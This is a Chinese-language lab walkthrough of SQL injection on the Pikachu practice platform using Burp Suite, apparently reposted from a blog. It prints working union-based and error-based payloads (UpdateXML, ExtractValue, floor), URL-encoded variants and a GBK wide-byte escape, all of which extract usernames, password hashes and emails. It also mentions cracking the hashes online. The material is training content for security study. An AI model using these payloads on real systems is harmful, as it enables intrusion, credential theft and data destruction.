Pikachu SQL注入训练实例

1 数字类型注入

打开Burp Suit工具,选择Proxy,之后点击Open Browser打开浏览器,在浏览器中输入http://localhost:8080/pikachu-master打开Pikachu漏洞练习平台。
在这里插入图片描述

选择“数字型注入”,之后点击下拉框随便选择一个ID,开启Burp Suit的Intercept功能,再点击Pikachu上的查询按钮,可看到Burp Suit抓包如图,其中红框部分即为浏览器通过POST方式上传的报文参数。
在这里插入图片描述

为方便进行注入测试,在Burp Suit上点击右键,选择“send to repeater”,之后在repeater选卡中,更改上传参数id的值(因为本题已表明为数字类型注入,故直接尝试数字类型的闭合,实际破解过程中可能要逐个尝试找出)如图,这时可以看到界面上将所有用户信息打出,表明注入有效。

or 1=1 #

在这里插入图片描述

通过order by获取查询的字段数。当尝试到order by 3时,出现报错提示,表明查询的字段数为2。

order by 3 #

在这里插入图片描述

获取数据库信息。

union select 1,schema_name from information_schema.schemata #

在这里插入图片描述

获取当前数据库。

union select 1,database() #

在这里插入图片描述

获取数据库中的表。

union select 1,group_concat(table_name) from information_schema.tables where 
table_schema=database() #

在这里插入图片描述

获取表中的字段。根据界面上的userid信息提示,猜测界面查询users表的可能性较大,故先尝试获取users表中的字段。

union select 1,group_concat(column_name) from information_schema.columns where 
table_schema=database() and table_name='users' #

在这里插入图片描述

此时users表中可以获取到用户名,但邮箱信息不能获取到。尝试获取member里面的字段如图,从结构判断,member是目标表的可能性较大。

union select 1,group_concat(column_name) from information_schema.columns where 
table_schema=database() and table_name='member' #

在这里插入图片描述

获取各个字段的值。此时可看到用户grady在我们破解出来的值中,表明member即为我们的目标表。

union select group_concat(username,pw),group_concat(email) from member #

在这里插入图片描述

在浏览器中输入 https://www.cmd5.com/,将打印出的密码序列输入,即可破解出用户密码。
在这里插入图片描述

2 字符型注入

选择Pikachu的字符型注入选项,照例在输入框中填入信息后,使用Burp Suit抓包。此时注意到,由于请求方式变为GET,其参数位置也发生了变化。
在这里插入图片描述

尝试构造查询闭合。此时发现直接输入SQL闭合语句并不能生效,并产生了错误,这时由于我们构造SQL闭合时,GET请求参数有特殊字符导致,需要进行一下URL编码。
在这里插入图片描述

点击Burp Suit的Decoder选项,将刚才构造闭合的语句输入到框内,然后选择encode as -> URL完成编码。
在这里插入图片描述

之后将编码字符填回到GET的请求参数中即可完成闭合构造。

' or 1=1#
=>
%27%20%6f%72%20%31%3d%31%23

在这里插入图片描述

之后参照数字型注入的步骤,逐步破击即可。需要注意的是,为了能够返现出我们需要的信息,需要将抓包报文中的admin去掉(因为admin用户可能不存在,参数中存在可能对返显结果有影响)。

' union select group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

3 搜索型注入

SQL的搜索主要通过LIKE函数去实现,故其闭合构造的方式与字符型注入是差不多的,可参照字符型注入的破解过程。

' union select 1, group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

4 XX型注入

当不知道注入的具体类型时,可以按照基本流程中的步骤1逐一尝试,直到能够构造出闭合,本题为包含搜索类型,即使用in关键字,故要构造in的闭合。

') union select group_concat(username,pw),group_concat(email) from member #
=>
%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

5 INSERT注入

在插入注入时,如果直接构建闭合,则数据虽然可以插入成功,却不能返显出我们想要的信息,需要借助内置函数通过报错的形式将我们想要的数据返显出来。

UpdateXML(xml_target,xpath_expr,new_xml)
#UpdateXML函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#ExtractValue是返回在xml_frag用xpath_expr路径匹配到的XML片段
floor(x)
#floor函数返回不大于x的最大整数。
  • 在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回 ;

  • floor()报错需要count()、rand()、group by结合使用,三者缺一不可。如floor(rand(0)*2)每次执行结果是基本固定的,在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,从而产生插入报错。

通过Burp Suit进行抓包,可以看到如图所示的参数请求。
在这里插入图片描述

  • 以username为切入点,使用floor()进行注入;
' or (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) or '

在这里插入图片描述

  • 使用UpdateXML函数进行注入;
' or UpdateXML(1,concat(0x7e,database()),0) or '

在这里插入图片描述

  • 使用ExtractValue函数进行注入;
' or ExtractValue(1,concat(0x7e,database())) or '

在这里插入图片描述

找到注入点之后,就可以将之前的database()函数替换为我们想要查库的SQL语句,从而完成对数据库信息的获取。以UpdateXML为例注入,先获取数据库表。

' or UpdateXML(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '

在这里插入图片描述

获取表中的字段。

' or UpdateXML(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0) or '

在这里插入图片描述
获取表的信息。

' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '

在这里插入图片描述

6 UPDATE注入

更新注入与插入注入的方式大致相同,故不再赘述。使用之前注册的账号登录,之后点击修改个人信息,使用Burp Suit工具抓包,填入对应的语句即可。
在这里插入图片描述
在这里插入图片描述

7 DELETE注入

delete注入与insert、update注入类似,核心都是利用上述的三个内置函数报错,获取数据库信息。先在Pikachu的delete注入模块中增加几条留言,之后点击删除,使用Burp Suit进行抓包。
在这里插入图片描述

在请求报文中,追加我们的SQL语句。需要注意的是,此处为GET请求,需要进行URL编码。

 or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0)=>%20%6f%72%20%55%70%64%61%74%65%58%4d%4c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%29%20%66%72%6f%6d%20%75%73%65%72%73%29%29%2c%30%29%0a

在这里插入图片描述

需要注意的是,删除注入非常危险,如追加的语句变为下述语句,则会造成整表删除。

or 1=1
8 HTTP HEADER注入

输入破解出的用户名及密码,先登录页面。
在这里插入图片描述

获取回显的信息。
在这里插入图片描述

退出登录,再次输入破解出的用户名及密码进行登录,同时使用Burp Suit抓包。
在这里插入图片描述

点击Forward,此时发现浏览器又发起了一次新的请求,同时cookie中保留了登录信息。再次点击Forward则显示出之前的登录信息,由此猜测第二次请求获取了http header信息并做了返显。
在这里插入图片描述

尝试在User-Agent部分替换为注入的SQL语句,看能否获取相应信息。

' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '

在这里插入图片描述

同理,也可以在Accept部分进行注入。
在这里插入图片描述

9 基于boolian的盲注
10 基于时间的盲注
11 宽字节wide byte注入

宽字节注入的产生原因:

1)MYSQL client链接编码导致。

查看编码:show variables like ‘%character%’,当客户端连接编码设置为GBK的时候,与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。

测试payload: index.php?id=%df%27 流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運’

2) MYSQL iconv函数mb_convert_encoding函数导致。

借用先知: $id =iconv(‘GBK’,‘UTF-8’, $id)

%df%27===(addslashes)=>%df%5c%27=(iconv) ===> %e5%5c%5c% 27 其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了 转义单引号的反斜杠。

3) Big5编码导致的宽字节注入

猜测代码: iconv(‘utf-8’,‘BIG5’,$_GET[‘id’])

payload构造同上: 功’ -> addsalshes -> 功’ -> iconv -> %A5%5C%5C%27->¥’ 逃逸单引号 。

回到Pikachu漏洞练习平台的宽字节注入练习部分,尝试使用字符型方式注入,发现并没有返回期望的结果,故尝试构建注入语句为:

kobe%df’ or 1=1#

发现可以成功逃逸单引号,构造出闭合SQL。
在这里插入图片描述

参照之前的注入流程,最终使用如下SQL即可破解出库中的用户信息。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3246835.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Apple Vision Pro 和其商业未来

机器人、人工智能相关领域 news/events (专栏目录) 本文目录 一、Vision Pro 生态系统二、Apple Vision Pro 的营销用例 随着苹果公司备受期待的进军可穿戴计算领域,新款 Apple Vision Pro 承载着巨大的期望。 苹果公司推出的 Vision Pro 售…

测试——进阶篇

内容大纲: 软件测试的各种技术 1. 按照测试对象划分 1.1 界面测试 内容: 验证界面内容显示的完整性,一致性,准确性,友好性。比如界面内容对屏幕大小的自适应,换行,内容是否全部清晰展示;验证整个界面布局…

SAP ABAP性能优化分析工具

SAP系统提供了许多性能调优的工具,重点介绍下最常用几种SM50, ST05, SAT等工具: 1.工具概况 1.1 SM50 / SM66 - 工作进程监视器 通过这两个T-code, 可以查看当前SAP AS实例上面的工作进程,当某一工作进程长时间处于running的状态时&#…

AI 大事件:超级明星 Andrej Karpathy 创立AI教育公司 Eureka Labs

🧠 AI 大事件:超级明星 Andrej Karpathy 创立AI教育公司 Eureka Labs 摘要 Andrej Karpathy 作为前 OpenAI 联合创始人、Tesla AI 团队负责人,他的专业性和实力备受瞩目。Karpathy 对 AI 的普及和教育充满热情,从 YouTube 教程到…

【C++报错已解决】 “Use of Uninitialized Variable“

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 引言 在编程过程中,遇到 “Use of Uninitialized Variable” 报错可能会让人感到困惑。这个错误提示通常意味着你尝…

【BUG】已解决:ValueError: Expected 2D array, got 1D array instead

已解决:ValueError: Expected 2D array, got 1D array instead 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页,我是博主英杰,211科班出身,就职于医疗科技公司,热衷分享知识,武汉…

Vue脚手架安装(保姆级)

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…

常用的点云预处理算法

点云预处理是处理点云数据时的重要部分,其目的是提高点云数据的质量和处理效率。通过去除离群点、减少点云密度和增强特征,可以消除噪声、减少计算量、提高算法的准确性和鲁棒性,从而为后续的点云处理和分析步骤(如配准、分割和重…

防火墙--带宽管理

目录 核心思想 带宽限制 带宽保证 连接数的限制 如何实现 接口带宽 队列调度 配置位置 在接口处配置 带宽策略配置位置 带宽通道 配置地方 接口带宽、带宽策略和带宽通道联系 配置顺序 带块通道在那里配置 选项解释 引用方式 策略独占 策略共享 重标记DSCP优先…

keysight P9370A/P9375A USB矢量网络分析仪

Keysight P9370A USB 矢量网络分析仪,4.5 GHz P937xA 系列是是德科技紧凑型矢量网络分析仪(VNA),其价格适中,并采用完整的双端口设计,可以显著减小测试需要的空间。这款紧凑型VNA 覆盖十分宽广的频 率范围…

移动终端的安全卫士

随着移动互联网的快速发展,移动端安全风险频发。设备指纹技术凭借高精度的设备识别能力,能够帮助企业提升移动端安全防护能力,精准区分合法与风险行为,跨行业赋能风控,为金融、电商、游戏等多领域提供强大的业务安全保…

基于python的图像去水印

1 代码 import cv2 import numpy as npdef remove_watermark(image_path, output_path):# 读取图片image cv2.imread(image_path)# 转换为灰度图gray cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)# 使用中值滤波去除噪声median_filtered cv2.medianBlur(gray, 5)# 计算图像的梯…

数据结构——栈和队列(C语言实现)

写在前面: 栈和队列是两种重要的线性结构。其也属于线性表,只是操作受限,本节主要讨论的是栈和队列的定义、表示方法以及C语言实现。 一、栈和队列的定义与特点 栈:是限定仅在表尾进行插入和删除的线性表。对栈来说,表…

ABAP小白开发操作手册+(六)创建维护视图及事件

目录 开发类型: 开发申请: 开发步骤: 1、创建后台表 2、生成维护视图 3、隐藏自带字段 4、事件代码编写 5、配置事务代码 6、其它个性化需求 6.1、修改维护视图字段的可见长度 6.2、根据后台表查看对应维护视图的事务代码 代码如下…

Modbus通讯接口选择分析

Modbus通讯接口选择分析 Modbus通讯接口的选择涉及到多个方面的考量,包括但不限于通讯距离、数据传输速率、成本、设备兼容性以及应用场景等。下面将从这些角度出发,对Modbus通讯接口的选择进行详细的分析。 Ip67防水面板法兰插座 通讯距离 Modbus通讯…

卸载docker简单且ok的方法

杀死所有容器 docker kill $(docker ps -a -q) 删除所有容器 docker rm $(docker ps -a -q) 删除所有镜像 docker rmi $(docker images -q) 停止docker服务 systemctl stop docker 查看安装列表 yum list installed|grep docker 依次卸载已安装的docker yum -y remove docke…

【iOS】——ARC源码探究

一、ARC介绍 ARC的全称Auto Reference Counting. 也就是自动引用计数。使用MRC时开发者不得不花大量的时间在内存管理上,并且容易出现内存泄漏或者release一个已被释放的对象,导致crash。后来,Apple引入了ARC。使用ARC,开发者不再…

《昇思25天学习打卡营第25天|第10天》

今天是打卡的第十天,今天开始学应用实践中的LLM原理和实践,今天学的是基于MindSpore实现BERT对话情绪识别。最先了解的是BERT模型的简介(来自变换器的双向编码器表征量(Bidirectional Encoder Representations from Transformers&…

代码随想录算法训练营第22天 | 题目:回溯算法part01 理论基础、77. 组合 、 216.组合总和III 、 17.电话号码的字母组合

代码随想录算法训练营第22天 | 题目:回溯算法part01 理论基础、77. 组合 、 216.组合总和III 、 17.电话号码的字母组合 文章来源:代码随想录 理论基础:代码随想录:回溯算法 模板: void backtracking(参数) {if (终止…

Spring MVC 的常用注解

RequestMapping 和 RestController注解 上面两个注解,是Spring MCV最常用的注解。 RequestMapping , 他是用来注册接口的路由映射。 路由映射:当一个用户访问url时,将用户的请求对应到某个方法或类的过程叫做路由映射。 Reques…